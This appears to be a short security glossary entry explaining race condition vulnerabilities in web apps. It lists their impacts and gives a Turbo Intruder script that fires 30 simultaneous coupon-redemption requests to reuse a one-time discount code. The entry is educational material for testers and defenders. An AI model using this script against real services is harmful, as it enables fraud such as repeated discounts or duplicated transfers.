Race Condition
HighRace Condition
Definition
A Race Condition is a vulnerability that occurs when an application's behavior depends on the sequence or timing of uncontrolled events. In web applications, an attacker can send multiple simultaneous requests to exploit time windows where security checks are not applied atomically.
Impact
Multiple use of discount codes or couponsDuplicated bank transfersBypassing usage limits (rate limits)Creation of duplicate resourcesPrivilege escalation through non-atomic operations
Examples
Race Condition in coupon redemption
The coupon should be usable only once, but by sending 30 requests at exactly the same time, several are processed before the first one marks the coupon as used, allowing the discount to be applied multiple times.
# Turbo Intruder script to send requests in parallel
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=1,
pipeline=False)
for i in range(30):
engine.queue(target.req, gate='race')
engine.openGate('race')
# Request sent 30 times simultaneously:
POST /api/coupon/redeem HTTP/1.1
{"code": "DISCOUNT50"}